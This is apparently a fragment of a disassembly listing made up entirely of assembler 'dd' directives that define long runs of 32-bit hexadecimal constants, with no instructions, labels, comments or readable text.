		dd 34763E71h, 6C5C920Eh, 775D628Ch, 6FCC90BEh, 6E583AF5h
		dd 94F14B1Dh, 0DC0040E7h, 0F9910D1Fh, 0CCFAF846h, 3B052273h
		dd 31FE64C3h, 0D8D2984Ah, 41676C64h, 241A7A64h,	6D16C6A4h
		dd 382001CAh, 0F655A3FDh, 58C9056Eh, 9ED971Ah, 0E090E6C8h
		dd 330BA59Fh, 80559CBEh, 78562A14h, 0C8AF58CEh,	1886E8Ah
		dd 5AB9CD7Bh, 0EC22C4h,	0AF188FDDh, 0FE44A30h, 6CB3F753h
		dd 0EE04C489h, 3AC0C004h, 1288D4D9h, 8153027Ch,	54552977h
		dd 98FA6CE0h, 0F51C889Ah, 0BCA40F79h, 44135C16h, 2006C40Eh
		dd 23282184h, 0DC9CA126h, 0F433E810h, 9D8048h, 7F85ADD6h
		dd 58894A61h, 781DDF84h, 40769708h, 5270ED68h, 0CB0E7D6h
		dd 0B134CD14h, 46C2CE5h, 10CBDE0Bh, 1C64D20h, 1E85B330h
		dd 33714FF5h, 0F2224Ch,	41CCFCCAh, 9F772F0Fh, 0DAD57B00h
		dd 3628C066h, 0EE11061Bh, 31DEF7B7h, 60EBC481h,	9A7EFA2Bh
		dd 39F0E601h, 6F24861h,	0A89692F0h, 179165CCh, 23CCE0BAh
		dd 0F8172B14h, 24567DC9h, 87D5A860h, 0D9AC00C7h, 2E07FFEDh
		dd 0B313BEF5h, 802015BDh, 3187072h, 41715E05h, 0D0B85B07h
		dd 91936E2h, 0C358C867h, 818DE082h, 1C686EEDh, 5B003516h
		dd 97682377h, 3DC3CEh, 58C29624h, 11563B31h, 0BFCFF805h
		dd 0BC8537B3h, 90791820h, 0FB5016Bh, 0F6F80555h, 72B180E4h
		dd 20605C84h, 0A05400DCh, 0C4416D3Fh, 661D5B85h, 8000FF82h
		dd 0FA2ED592h, 7BA85CE0h, 0F314D300h, 28190FBDh, 26ACCA00h
		dd 8725B4AFh, 0EBF80084h, 38C4B296h, 9FB08D59h,	1F930D0Bh
		dd 2054819Ch, 8180EAF6h, 0D9132C2Bh, 0C70F89ECh, 3719541Ah
		dd 2D1D5430h, 1B70BDF5h
		dd 0CE056074h, 89FD2A70h, 0B57A5081h, 0AECCC005h, 0A4B0CE57h
		dd 0D0785A48h, 0EC2284h, 4F3586DAh, 0BAE5A06Eh,	0FA330F16h
		dd 0C0802C25h, 34259E2h, 6C1094D2h, 1101E3ACh, 0D857485Ch
		dd 0F8724B18h, 5AF0F922h, 6406B277h, 90BB2404h,	0E8C44890h
		dd 0C859F385h, 0C971F7E0h, 2D251026h, 0DC070813h, 0AF80DEECh
		dd 0FFCDA1h, 0EEEFBABBh, 964C9CDAh, 262A4E03h, 7DDE7F6h
		dd 8C6A4B51h, 0C380D0EEh, 2D00A001h, 83616B5Fh,	1D42C57Ah
		dd 0C4D18AA2h, 8CC7F535h, 76C21128h, 80BD24D0h,	0D261E864h
		dd 14EDF439h, 94EE230Eh, 21B31818h, 5D48F236h, 0F8F5809Ch
		dd 7457E1Eh, 0F4DF6615h, 0B1AA00CFh, 0D918A0D2h, 6539BF18h
		dd 26A8016Ch, 0DF277851h, 482829C8h, 0D0C400BBh, 0F9240E1Fh
		dd 421800C6h, 78AF6C2Ah, 3C01EE5Ah, 7CF3EF55h, 4BF8918Ch
		dd 0DB2639CEh, 5B1B5D09h, 0EFE1018h, 0E28BE507h, 2C008D32h
		dd 5864183h, 0C931604Eh, 5CBC409Bh, 0A7EE290Fh,	73215701h
		dd 0F947E590h, 52017462h, 7E85823Fh, 5C9EF07Ch,	564C5702h
		dd 5813B28Ah, 0F07B24C0h, 20574F24h, 71C436D0h,	2608A55Ch
		dd 54704F8h, 3915CFF0h,	0D6E9003Ah, 0B1AD3F10h,	0EE16EDA3h
		dd 24214252h, 550817CFh, 0BC4193FDh, 0EF19C893h, 5780AA1h
		dd 0F90042BAh, 0E0EEE549h, 59003542h, 0D0D15C39h, 48B4FBB5h
		dd 504C1F28h, 28EDA511h, 0D1387455h, 7CB700CEh,	18E084A7h
		dd 3A69C1F7h, 73DD54F2h, 859F3A34h, 1109A485h, 1A596C80h
		dd 58F8C153h, 32823313h, 0CFF00930h, 68140954h,	0C3D1DEA0h
		dd 0AEDD4758h, 512EE3E0h, 909F6D00h, 0DA71EAE1h, 87D45C96h
		dd 45BAF639h, 4DD72680h, 0C70E3FDBh, 159D160Eh,	3C1F0358h
		dd 0D1E9B1EAh, 0B7BEE4h, 0B36F2F3Fh, 188D3D66h,	0B944B812h
		dd 8E432603h, 0DD28E8A0h, 0E82A03A7h, 482BD504h, 0C95426C0h
		dd 0F155C200h, 3C129A0Ch, 0F9BB00C0h, 0F6CD5701h, 5B0FE8F3h
		dd 207C8A91h, 25D64AF1h, 613C009Eh, 41F8815Ch, 9481706h
		dd 62880061h, 340CF4D1h, 70DB60CCh, 777EF148h, 35804962h
		dd 0F60CA0D3h, 0D815F745h, 0CA7E6808h, 0ED2D2006h, 0B114D2h
		dd 44DC5EC5h, 6AB7B33Ch, 7520B00Fh, 0A1E3605Ah,	1634BF6h
		dd 8BD74A27h, 20CFD57Ah, 3806B581h, 50B2A093h, 5F191B49h
		dd 7C378A6h, 8663300Eh,	91D84CABh, 367E015Ah, 6FCBC8D1h
		dd 0CFA0F3D0h, 0AE032FC4h, 0A6D72E26h, 487C335h, 8F19E849h
		dd 1ED4C098h, 16004CF0h, 0F695210Dh, 13F3EA3Dh,	0AA8E24h
		dd 0DE483756h, 84A47B2Bh, 0F8E09922h, 1920D823h, 6088DCC7h
		dd 4B8C0753h, 81CEA9ADh, 80207E0Ah, 35234C29h, 3618196h
		dd 4B7B7C8Ch, 2D81738Eh, 0D1ACE0CEh, 9DF15C03h,	0DE1B5919h
		dd 4FD22AF9h, 0F8710088h, 674AF34Ch, 7030C2CFh,	0DC6E79DFh
		dd 0FF8C0059h, 27F2389Fh, 0B80342A1h, 7F5B0695h, 5C291DD7h
		dd 0B6104769h, 0E36187EFh, 11039C81h, 0DA044063h, 7E781831h
		dd 0B50DB921h, 1FB69D00h, 0C2EA6D4h, 0A2B864h, 59A868B1h
		dd 0AE242091h, 8D0540F0h, 0DCAAB0A0h, 10A8E022h, 11008134h
		dd 7B60B809h, 755D14h, 0DFD01F08h, 0C94D7D5Ch, 0AA860107h
		dd 0E5C0D885h, 0F0097CDCh, 0C4ED0A92h, 80844DD3h, 687AE839h
		dd 310C30FDh, 288DE35Fh, 64E51F66h, 0CFFCF165h,	5C0820CCh
		dd 26FBD006h, 4143EAh, 0ADAB1BC5h, 0D213B94Ch, 0A5191561h
		dd 0DE60857Ch, 71074E7h, 16CB30Fh, 1E78B0A4h, 7E2A91F8h
		dd 68008C26h, 0D186EAE5h, 3E811F3Ah, 3B8FC166h,	132091C8h
		dd 0FED674F2h, 33E89302h, 40D7E05Dh, 1F3EE54Bh,	2C2C842h
		dd 47FF7EF3h, 0DBCE2448h, 13B0F488h, 53952586h,	1BAE0C08h
		dd 1A60D379h, 0D6857AB1h, 97960090h, 784A9EC9h,	0A90CEE98h
		dd 31347F42h, 126300ACh, 0C96A3CB6h, 6000B954h,	5F9E2321h
		dd 844315Ch, 0B22ADD6Fh, 0E1714A86h, 0B3530089h, 0B0C452Dh
		dd 0D43A51D0h, 1089803Eh, 92C2735Dh, 8BB00E06h,	53207A4Eh
		dd 0D9B6A0DDh, 6F480092h, 0EB1B8198h, 0D7F0CA27h, 1F3906A3h
		dd 0D8317E4Fh, 4E223F42h, 18B12401h, 851674A4h,	20AC5EA8h
		dd 0D34C3CABh, 0CF4A8034h, 557C4Fh, 280F62FBh, 6AA39FF0h
		dd 75631C3Bh, 0A6682116h, 8DFF6100h, 79D05F42h,	0AB370055h
		dd 0C0D7953Bh, 0AA003D16h, 0A9463E82h, 37CB965Ah, 0E030FA5Fh
		dd 0E4CD2C26h, 6C908A03h, 0C0A05A65h, 732D5B2Eh, 0DB29C02Bh
		dd 0AB2E927h, 5E8B3C00h, 51A6C1E0h, 2CD5180Eh, 806C5047h
		dd 3BF2780Ah, 0CA8308FCh, 5C2B43h, 98AA7C49h, 27EDD179h
		dd 6AAC1D0Eh, 0B9B62182h, 74004292h, 3506DA3Ah,	0FE23C371h
		dd 160918D9h, 0D851B94Fh, 10E178A3h, 0E20C4343h, 0F2F640A4h
		dd 397BC5A2h, 6FFD5AB3h, 45C1617Ah, 70355560h, 5101EDCBh
		dd 0D6E79963h, 0AF301E3Bh, 60C80023h, 5BA93412h, 0B10037F8h
		dd 4E41AAB4h, 3050CF9h,	81D20A35h, 2DC2EC60h, 0FC260883h
		dd 0F8FA8132h, 970F2072h, 321D20D7h, 0E7C08F49h, 68897D4Eh
		dd 0A1AA5C72h, 3BBFB538h, 30ACF9A8h, 5A4909E1h,	0B619300Dh
		dd 34598FE3h, 5826D8h, 83C03EC2h, 2482E7E0h, 0B73B8F06h
		dd 0F9288EE2h, 1A54D920h, 38C28D62h, 4058E804h,	9BE5484Bh
		dd 0F7DF140Bh, 0D60094ACh, 335BD0A8h, 906BF42h,	0E3841DEh
		dd 18280089h, 0BAE3A0C9h, 1F007214h, 34874DB3h,	70FF991h
		dd 0A692F171h, 84F7205Bh, 48187310h, 0D3410438h, 0A9BC004Ch
		dd 2870DA4Bh, 4109C6CEh, 1719EF4h, 5C15093Ch, 742BE451h
		dd 12E21D10h, 0C4B5A00h, 0B60A8CE6h, 95020057h,	4CD66D70h
		dd 9724F4Ah, 9C712E04h,	2488BDE0h, 0C53B002Dh, 0DAA3D585h
		dd 5B385086h, 4BB41179h, 0E4FB3700h, 57351D28h,	0E01869F8h
		dd 144191E5h, 0B783146Fh, 6C05088Eh, 701809ACh,	12CF7054h
		dd 62942500h, 0C27910B7h, 0CAD2007Eh, 7A21C77Fh, 0CD49E2D1h
		dd 2C0C8074h, 1E8341C9h, 14F36062h, 0AE010804h,	0A4D014F2h
		dd 4BA44113h, 4F06DCE3h, 2A2DF912h, 0DAE0A820h,	0D7CF02BDh
		dd 61A63376h, 38301DE0h, 1ABC0354h, 0AF9FDB00h,	3CB50CE0h
		dd 2B451881h, 9B404165h, 8621563Eh, 7A2EB45Bh, 0FFCA6D8h
		dd 62AE4908h, 0EE83F6A0h, 2607D665h, 9F7BBFA2h,	72DA0840h
		dd 0E3C0183Bh, 3E9AD998h, 901CFD0Eh, 55F920C7h,	1FBAE089h
		dd 94DCCD2Bh, 0E318F884h, 0F2613196h, 262393Ah,	154BA0E0h
		dd 28E40F4h, 0F955003Ah, 1E93C35Ch, 84B061ABh, 0E994400h
		dd 5E8086DCh, 0A1A4032Bh, 0EFB77ABFh, 9E9081C1h, 0DC80E459h
		dd 0D8A33935h, 0F9033F86h, 0C3A40770h, 0A4414887h, 0CC20C29Bh
		dd 8AFEDD10h, 32F99440h, 0C32F5B0Fh, 705980C7h,	0C21B7F5Eh
		dd 0E6512D61h, 7B054464h, 0C06176AEh, 0A376B81h, 0F1791980h
		dd 4EAD079Ah, 14C40407h, 95678411h, 5326FC80h, 0AFA33043h
		dd 44CDDC4Ch, 0CB015279h, 0ADA1911Eh, 0C44B77Bh, 99806897h
		dd 0F72F5A23h, 10C60E8h, 2CF9C231h, 48B3B0A3h, 10048C80h
		dd 0C57105DBh, 60A5A4C2h, 806AA6F4h, 9633B4EFh,	84DFF964h
		dd 440C0942h, 0B4049044h, 3DCB484Ah, 0FC19470Ch, 0E8229900h
		dd 797BB025h, 0FE700066h, 4AA9B788h, 6FF2E0E5h,	0F0E54290h
		dd 7D001A9Eh, 59C6265Ch, 0AF4E27h, 0F786E70h, 43906F0Eh
		dd 0A0522100h, 0F9F61873h, 0FA8B033Bh, 0FBC1C696h, 36479800h
		dd 0E6E35178h, 24C498A6h, 58C41409h, 0E6006BC1h, 0F9A67815h
		dd 7AA8FE12h, 0ABAE1D76h
		dd 39624E22h, 288B52C3h, 390A6031h, 80500C38h, 643969h
		dd 66DBCAD8h, 0FC239B51h, 8A560B03h, 0C07F9EE9h, 0F4098F7Eh
		dd 0A2A0A9B2h, 60B4FC70h, 0B5B6914Eh, 0BC3B1D0Fh, 6FBF0042h
		dd 0A3A8932Fh, 9633068Bh, 0C8F8D9C8h, 69F65405h, 0F3845E83h
		dd 24B051h, 0A0FD19DBh,	0E11A3h, 32AD5460h, 9A97EFEh, 48AA0F2Ch
		dd 0B030A616h, 341DD1h,	0A032ABE5h, 0E347814Ah,	598B7719h
		dd 30949DF0h, 2C2CA841h, 90060834h, 0BC69F301h,	0C8D2805Eh
		dd 0F0372D74h, 3CB189h,	0B6E82B0Ch, 0F890AD8Eh,	14469D20h
		dd 0A476CD96h, 7366F7A0h, 0CFD93900h, 242D7F6Dh, 4470003Ch
		dd 8A85E628h, 0A60955Ch, 0C3234E91h, 44E0909Dh,	5254B480h
		dd 4E018C84h, 8ACC3764h, 0C5CD0EC9h, 1F1C6C60h,	4C707E8Eh
		dd 5E0EC88h, 5C99E092h,	78BC3F80h, 0BBC38Bh, 40A6EF74h
		dd 0DA10A2B0h, 4399A70Bh, 4FDD82BDh, 0C24E4E8h,	0A957396Bh
		dd 49DDFBA0h, 389DC404h, 31E9488h, 0E0164D02h, 53B52BD7h
		dd 189C09E8h, 0DA89410h, 0CD3CB301h, 0C105B4Ah,	0A8417EF0h
		dd 17CFA99Ch, 505A2714h, 5B22A4BCh, 0D343750h, 75A9E90Fh
		dd 0C59BA089h, 6252F3B3h, 61C230C0h, 2DD3DA20h,	8334CCCh
		dd 0C3F6050Fh, 832C0013h, 8520CBBDh, 9066912Ch,	90373AE2h
		dd 9EFC94h, 4D1F8F99h, 96D861Bh, 23147600h, 0C1598D50h
		dd 0BEF726EDh, 44B060F4h, 3A003E74h, 1BF6FD50h,	0F98FF3h
		dd 7DC09C9Dh, 0DD846B9h, 0D0714Ch, 5C1CDD5Bh, 369943h
		dd 388FE21Fh, 0F83B602Fh, 0A838F260h, 0B02C26A9h, 0B96E7720h
		dd 30718FA0h, 0A9C430BEh, 513E3353h, 3BBF2Eh, 3882BBF3h
		dd 0C07A82Dh, 5E2B85AFh, 810F3939h, 40D31325h, 0BF32CC9Fh
		dd 0D6DD0097h, 38C32CA3h, 6D719193h, 98A4230Ah,	0FB00080Dh
		dd 60BFA09Ch, 0C10E1412h, 0F0809CE3h, 0DD46A8AAh, 0B2EE7403h
		dd 0F0EFFC2Fh, 6257140Eh, 865F08CCh, 48B41882h,	49EB0848h
		dd 3E019B71h, 13E44B0Eh, 83C46858h, 0B5BB3FA0h,	0BC05E8D8h
		dd 0C10E629Ah, 0ECAC9D08h, 0C900789Fh, 7B1E6B44h, 0E259A0CEh
		dd 0E72B0048h, 8FB61AC5h, 0C2000D5Bh, 0C8B3A5BAh, 83D351h
		dd 7F38609Bh, 18F7CEE7h, 0AF00E874h, 0C5D7B626h, 13754Eh
		dd 3D338666h, 1EC9CCECh, 5B075A90h, 22D52C37h, 18014FB0h
		dd 6881EFC1h, 0EDDCA5D7h, 8750F838h, 0CAFC48FAh, 0DD943F02h
		dd 0E0193D9Dh, 4E2873h,	0C5463EF7h, 0D5331C74h,	78CAA930h
		dd 0C0E69F1Ah, 580D66B9h, 0CB00ABA5h, 33EDEA7Ah, 0E5B518h
		dd 6C437E38h, 0DDE04DF3h, 16253Dh, 87D7ADB2h, 0A526FFh
		dd 44E1A03Bh, 23AE37BCh, 0F5A8D9C0h, 1482AFh, 158780FDh
		dd 0DA4B3916h, 30615CFCh, 0BA9CD4C9h, 8D169180h, 5C7C7B19h
		dd 70418F30h, 0C1C6030Ch, 26AE4F21h, 0F83FCCF0h, 69640100h
		dd 0C9C1EEDBh, 0C50330F4h, 86935429h, 9743320Eh, 8B6C8049h
		dd 852F75h, 5DEC2E88h, 0B6139A71h, 3C8F8C18h, 459DD468h
		dd 0CC5DC8C2h, 0D29F50A1h, 6F5C4320h, 0DDE31E9Bh, 378700BAh
		dd 0A64F3380h, 6970C600h, 1E7B1F8Ch, 40D16010h,	163EDA60h
		dd 1B53E71Bh, 0CC41B849h, 6C58A827h, 6DDB0062h,	0EAE1B73Fh
		dd 0ECE2495Dh, 0C4FE1802h, 91C016EBh, 0F2FCA1FCh, 1E731Bh
		dd 0AA2A4775h, 95E1B125h, 513E1C05h, 0B43314E8h, 0C17902ECh
		dd 0DCC03BA6h, 0CF8CD48Eh, 5C00FA51h, 510D6562h, 6432E02h
		dd 4AE6769Fh, 2912B184h, 1440F140h, 0A8EA4637h,	0A748A0BFh
		dd 0F0AE00B7h, 0B85C0360h, 4001CBD2h, 0EBD9C98Bh, 40912731h
		dd 8CD000D8h, 0EFFE7F9Fh, 0E7020A20h, 90342252h, 822781D9h
		dd 598F39Fh, 0AA519DFh,	8ED2C00h, 0D6F00B58h, 0D8E3027Bh
		dd 0BE03CC01h, 4594A8A0h, 480174BCh, 3BA70240h,	0D0C74780h
		dd 24EBC5D0h, 4A82EABh,	43CA9E38h, 0BB0946h, 0EA133D41h
		dd 0E9EB3F76h, 631C7A0Eh, 0BFB28391h, 153100D7h, 97523229h
		dd 8306BDC6h, 62B865A3h, 0CF2B2CB8h, 391705BBh,	0CEE048C5h
		dd 9778B280h, 9AE87EEh,	9CD5CC8Dh, 3E0E3010h, 46F04705h
		dd 0C42227C7h, 9E7A215Fh, 7C7510DFh, 576701FCh,	9245EBA2h
		dd 54DBF0E0h, 9D22400h,	173B3E80h, 79A761C1h, 83BC0225h
		dd 96D13469h, 5992E0A6h, 0FC0C269Fh, 63082469h,	0FE902064h
		dd 2AE4E37Fh, 74008390h, 3A1E5334h, 6605C3Fh, 0AEDDE7D0h
		dd 0D3F4A12Bh, 7B909E05h, 7880402Fh, 0F0466406h, 0EC0F3A8Dh
		dd 0AD610D81h, 85DB7D9Bh, 1FB55A69h, 0E9C7B837h, 0D02CB365h
		dd 25E8048h, 0B8123E2Ch, 0D130AC28h, 0D5C3502Ch, 20D0907Bh
		dd 0AE3097DAh, 232C9929h, 87CE004Eh, 0FFB26D5Ah, 0EC039694h
		dd 0AF5FF3A3h, 0A9290024h, 929B438Eh, 8724EFE5h, 960030D9h
		dd 0D597C20Fh, 0AE10E59Fh, 99DDFBC0h, 0B5412E98h, 86A300CDh
		dd 174FBD22h, 0B00FB85Bh, 1709836h, 99C590D0h, 5FAA3FCh
		dd 3D29E1FBh, 0C08446E9h, 170051D3h, 217C6205h,	0F57066h
		dd 2880317Eh, 90167B89h, 25A10E03h, 1FAF34h, 4CA40279h
		dd 9B172BA0h, 3928BB61h, 1970A751h, 0C5200CF7h,	0D461DF57h
		dd 0C9C99A31h, 8181E59Fh, 541C6A70h, 4E7E701Eh,	532C5D00h
		dd 83BF6D14h, 0C62E14B6h, 0C80D01Ah, 9EA39361h,	3EF26205h
		dd 0D4219B37h, 99802CAEh, 0F135CD87h, 0B903DF72h, 6029ECE0h
		dd 8103E859h, 32F53CA4h, 3156809Ah, 0C7F5E055h,	0FBCA0BA5h
		dd 0C10DE46h, 7630D6AEh, 0E29B29A2h, 2EF407FBh,	4050F597h
		dd 1E8A5ADAh, 0E099373Ch, 82D82519h, 66F02690h,	28C811E8h
		dd 61099476h, 80CAEF5Bh, 58AF7A1Ch, 0A92113BCh,	39E00725h
		dd 0C2A3E0C3h, 1B587EFBh, 11C70025h, 0DF875888h, 86B150FCh
		dd 13B897h, 0D79837ECh,	0C79B2471h, 6C0FE226h, 0E8771B11h
		dd 0D9D26447h, 0EC1E1348h, 2629B400h, 939107Bh,	0DB73AF4Fh
		dd 0EB9F8C82h, 0FE56CCA0h, 35001058h, 0AE6CF0Eh, 0B8FA9A4Fh
		dd 0AD4501BCh, 87F9B15Dh, 0E8820D6h, 0C5845B50h, 0F1C25F79h
		dd 0AEBF0325h, 532F00A4h, 1D3899CFh, 3EAEBC56h,	0FBDA8F02h
		dd 4121E50h, 2541CD98h,	80D26D29h, 97DD17A8h, 52C3658h
		dd 9208E2EFh, 0EA080198h, 80D9C110h, 72FF5F39h,	3979B748h
		dd 0CC808C93h, 3A6331B4h, 0E607D7ABh, 4B124D88h, 0C401BA65h
		dd 0C63C3829h, 45D3409Eh, 2EB8B9Fh, 1E5AC588h, 8C3C48A5h
		dd 0A631D528h, 5B67E1B8h, 443E3860h, 4952E6DEh,	0A0122EC4h
		dd 0B01D411h, 24935308h, 812EF0BCh, 0D3805202h,	6078879Dh
		dd 0C0C80350h, 4CE0D859h, 56008C6Bh, 34B60D0Fh,	3EC1E21h
		dd 0E1BA1780h, 69CE52E6h, 50392928h, 1327CF06h,	11E8A0h
		dd 61EB0644h, 20BC1C52h, 33536B00h, 196D0ADCh, 8D3D2898h
		dd 125179C4h, 758DD6Ch,	23B8FB0h, 0C0403782h, 0EE09DF28h
		dd 0CCB111Ch, 4193094h,	0D6FAAE03h, 0BC880D2h, 307BE1EAh
		dd 983949h, 34FF681Bh, 0C6CEA3D5h, 99EA9FD9h, 0B2117A00h
		dd 0D4C91916h, 40900041h, 7DB3F47Ch, 8100B032h,	9EB231B9h
		dd 3BA3E0Ah, 994F130h, 100F2A59h, 84212F83h, 980612D6h
		dd 0DE060832h, 0DC08D215h, 1BDF0168h, 0D00E22EAh, 1260322Eh
		dd 0F872BAA5h, 0A8529Fh, 229C69F0h, 0AF560C3Fh,	28CD0500h
		dd 0CE7DBF70h, 536400F4h, 0CC0204B1h, 0B800B616h, 3D94A426h
		dd 7827DF81h, 0C1033039h, 67682C59h, 7F104200h,	0DF3C1DC2h
		dd 74703918h, 0CB070F80h, 0BED6B458h, 9BDABB00h, 352A4A7Ch
		dd 8C593921h
		dd 5AB31183h, 0C7D0A9A3h, 0DA0A410Dh, 0F8372920h, 302CC40h
		dd 315B24C6h, 57BE843Ch, 0B344819Eh, 917A03B7h,	0D411CC59h
		dd 2000729Bh, 26EC7006h, 2EE4252Ah, 0DD884CF8h,	6984BD00h
		dd 767D57C8h, 0CCEE0082h, 473D832Bh, 70CE6EAh, 70C55627h
		dd 359C967h, 0F162F848h, 0B222C100h, 0B5F535B9h, 0F4A31D8Ch
		dd 0E97E001Fh, 564C8350h, 0CC409AE7h, 0DE6884B1h, 8847125Fh
		dd 0C20AF364h, 80AE9ED5h, 29DD9F8Ch, 0C819003Bh, 7B9D701Eh
		dd 26009AAEh, 39BF3780h, 7C8EC5EFh, 9107189Ch, 0DB46E1C7h
		dd 60118600h, 47C8B75Ch, 11876003h, 131EF040h, 17281D00h
		dd 0BB582ACFh, 0BC36003Bh, 0C5839A71h, 0B807DF46h, 0D673AE5Fh
		dd 0DF722CA3h, 0B421D285h, 814BCA7h, 4585C6C0h,	0B4C03715h
		dd 0FDD6B5C2h, 0CBC0B08Ch, 1B7E9721h, 0CA9C33Eh, 1837981Eh
		dd 0A44B860h, 154FCE3Fh, 1CC11D4h, 25D4A4BEh, 24672970h
		dd 4074202Ch, 0A9D53081h, 5848CE50h, 60AED844h,	9E882927h
		dd 79003802h, 75309136h, 16CDA671h, 209006B3h, 0BA0AC668h
		dd 20E0EF4Dh, 0C41D258h, 0C0E9A13Ch, 387C99h, 0C14F77EEh
		dd 0E82C2AEh, 99AB843Ah, 0BC1A6009h, 46BC52C0h,	82CF1400h
		dd 7095DC23h, 0D40A120Fh, 170A0319h, 0C100B7D3h, 1B1FA13Fh
		dd 5CE062A8h, 49094074h, 2404B215h, 967C8C2Bh, 7561A174h
		dd 0C0EC9FEEh, 7F47D048h, 0ACC60077h, 0C1F04990h, 82737827h
		dd 0D25EBCA0h, 4874628Ah, 1E233884h, 775E022h, 87E4C2h
		dd 6F6CBAF2h, 0D826C891h, 0D0E25B03h, 0C2A78B1Bh, 1D0881AFh
		dd 0E4E230CFh, 0B4470058h, 0DBB5DAFAh, 0FC1D97B0h, 174096A8h
		dd 506BC40Dh, 832C105Eh, 9CA18B1Fh, 77294480h, 0DC007E7Ch
		dd 86558D18h, 1CA4CAE4h, 374D2E3h, 0D62604BBh, 0E6B0A801h
		dd 0C0B7787Bh, 0BE00A062h, 0C9407993h, 0D100BC3Ch, 99862A4Eh
		dd 1D438Dh, 65040C15h, 0C548B15Ah, 180F5B02h, 52AFD6B6h
		dd 4F9000C8h, 97892EC2h, 4800520Dh, 5C814772h, 0B46F3B8h
		dd 0C61A9FE2h, 50C2A412h, 688FA46Ah, 0CC8C0031h, 5E290FC0h
		dd 0A24301C7h, 8DA13637h, 0E855D17Bh, 5C28C618h, 214440CFh
		dd 80E0011h, 0FD8F5AEBh, 0B09CA9D4h, 0A7325744h, 613C9F10h
		dd 0AF3718C2h, 0A91D1027h, 4D140070h, 0B1918905h, 57123503h
		dd 0A0909EAFh, 0F9185Bh, 0F2940634h, 2C3EC99Bh,	2662791Eh
		dd 4A682940h, 98A1869Ah, 0D11E12ACh, 0AE283036h, 3FF6B25Ah
		dd 0DCE9E324h, 0C0842525h, 20DC8420h, 839B037Bh, 1CBA781h
		dd 0CE0D1EB0h, 3EE249C3h, 0DB519016h, 4F280E17h, 4D1BBFAh
		dd 3D1EAE5Ah, 3F765C80h, 29EA1513h, 0F4C33444h,	48D80539h
		dd 4E01AEB5h, 97E7D8A2h, 0C28C7BFh, 88DD5480h, 0F40042A3h
		dd 0F9A7FDFBh, 4F6AC3h,	0F05C1B3Ah, 2A0246CEh, 3EE04E02h
		dd 6E2E51CAh, 8160010h,	0A79BB889h, 0DB2845E5h,	7900AB6Dh
		dd 0E346B0ACh, 0F07C293Dh, 20C813E6h, 305C143Ah, 0D49A0BC0h
		dd 5200181Bh, 49CEE04Bh, 1E86222Eh, 0CEC5252Fh,	2942D236h
		dd 0A868993Ah, 91007E37h, 7BDD9CECh, 24D4E6F2h,	440C6E9Eh
		dd 84CB62h, 54889E7Eh, 1D248A0Ch, 2288007h, 0C0F271C9h
		dd 0E1AD40C0h, 0D05A41C4h, 6E201F22h, 2C48D5E0h, 9558F268h
		dd 0AE0CBCE2h, 41A0A913h, 89E0C958h, 29A80FFCh,	0F29CE92Ah
		dd 14A3A070h, 0A08C589Ch, 0DB7C9D80h, 0DA274E4Ch, 52241133h
		dd 1F417E0h, 707CCE82h,	2062A32Eh, 61090810h, 10789BA8h
		dd 0A088580Ch, 27CAA128h, 989921FBh, 0DA4FF0CCh, 9047302Eh
		dd 1064CB6Fh, 52A6BD9Ch, 9B8850EAh, 405E4932h, 51381274h
		dd 9921E9BEh, 0B5C7DFCh, 0DDE7D130h, 0A3D47810h, 0B203EC99h
		dd 2C765E3Fh, 0B304E18h, 3C18C68Fh, 1D0CEF41h, 69E43C29h
		dd 0A4D53737h, 0F5718081h, 38F85F93h, 0F822C05h, 88902BFEh
		dd 0EBD70A7Ah, 1AB73F0h, 0C59BC157h, 34190B5Ch,	0C882824h
		dd 0C6F91DABh, 0FCF7805Eh, 0E7F03749h, 27008E7Bh, 91BDC77Eh
		dd 3776206h, 0B51FCCB7h, 759743EBh, 421CC09Dh, 4709E75Ch
		dd 90AEDDE0h, 499F150h,	0DEF66FA2h, 0A8E2A6h, 83033E20h
		dd 306C41F9h, 253830BBh, 0A800919Ah, 3876D1D5h,	94D2A51Ch
		dd 0E716C05Ch, 0AF65F384h, 38C8D820h, 47C090B7h, 0BD03184Eh
		dd 0F6609121h, 1400BC1h, 444A0647h, 0D4284078h,	0C97124B8h
		dd 0A8103428h, 9F899B0Bh, 246480h, 6B8C1D28h, 0A426D2BDh
		dd 0AFA75300h, 270B4C36h, 0E3372629h, 40CD4438h, 2E4CABB1h
		dd 0EFB5010Fh, 38299E12h, 8CF45502h, 0A3002084h, 55572D8Eh
		dd 2E4BE690h, 0B398B48Ah, 296352F8h, 0E19F10h, 0F24C2969h
		dd 0B92372E3h, 0E88F000h, 4D9A377Bh, 0E4460251h, 920915EEh
		dd 10ED08A0h, 0CB649E7h, 9B613944h, 46C22A2h, 6F3ED260h
		dd 91C13CA5h, 0E63D2820h, 831D0D16h, 0F4492DAFh, 4009858h
		dd 103944BBh, 62B97Ah, 5E71EDE6h, 1FFC55A9h, 96BBF02h
		dd 71365130h, 0E5213A88h, 1740A82Eh, 0FB3386Dh,	0AE1F7765h
		dd 0E7215C20h, 0CF3860C0h, 4120756h, 61903780h,	99C117F1h
		dd 40E21770h, 95E11E04h, 8E0712B4h, 0DEF0717Bh,	0BC7C36A0h
		dd 26370A61h, 0E2B01170h, 3C20E89Eh, 0E4588BB3h, 0FC030041h
		dd 4456F2E2h, 0B40B372Eh, 90AF1BF4h, 0D10448h, 64CBCE21h
		dd 5F010D95h, 761A3902h, 79247571h, 1278247Ch, 1B542084h
		dd 0D52636B4h, 0AB440C9Fh, 0F87280A1h, 0A5CE4B00h, 0A31E3DADh
		dd 0D1FC2A04h, 64C83629h, 0CF4F02D3h, 20EFEE8Fh, 83001046h
		dd 0A48A72C1h, 3EA12B23h, 0EB00B8F7h, 7A9D24FBh, 11C8BEDBh
		dd 0A5D48920h, 329FCCC9h, 0EF90073Ch, 0D1D0EA8Bh, 1F687A33h
		dd 66B9AE64h, 1C2E72A0h, 8834A800h, 0AD014E4Ah,	0F86F2461h
		dd 35125391h, 4510DF39h, 93384F27h, 0F8480E31h,	380BFC2Dh
		dd 2658649Dh, 80BCBAE0h, 0FE9FB41h, 0A44CD4A0h,	0A4372C70h
		dd 65E65460h, 423300C9h, 3160F1F2h, 5F00BC7Ah, 4EE42630h
		dd 0C8BA436h, 0DB58C57Bh, 9B072561h, 0DE75CB81h, 30C43Bh
		dd 70211385h, 2864742Fh, 3BE12701h, 0BC4B7D41h,	624EA422h
		dd 1C184458h, 0FE28B09Bh, 47153A8Ch, 61736F00h,	98C19CFEh
		dd 0BA1FAB3Fh, 0DAE50058h, 0A39BCECBh, 0FE5303BCh, 77B10846h
		dd 5CAA821h, 0CC38B0A5h, 0C80045E8h, 40D917FBh,	0F3F5B29h
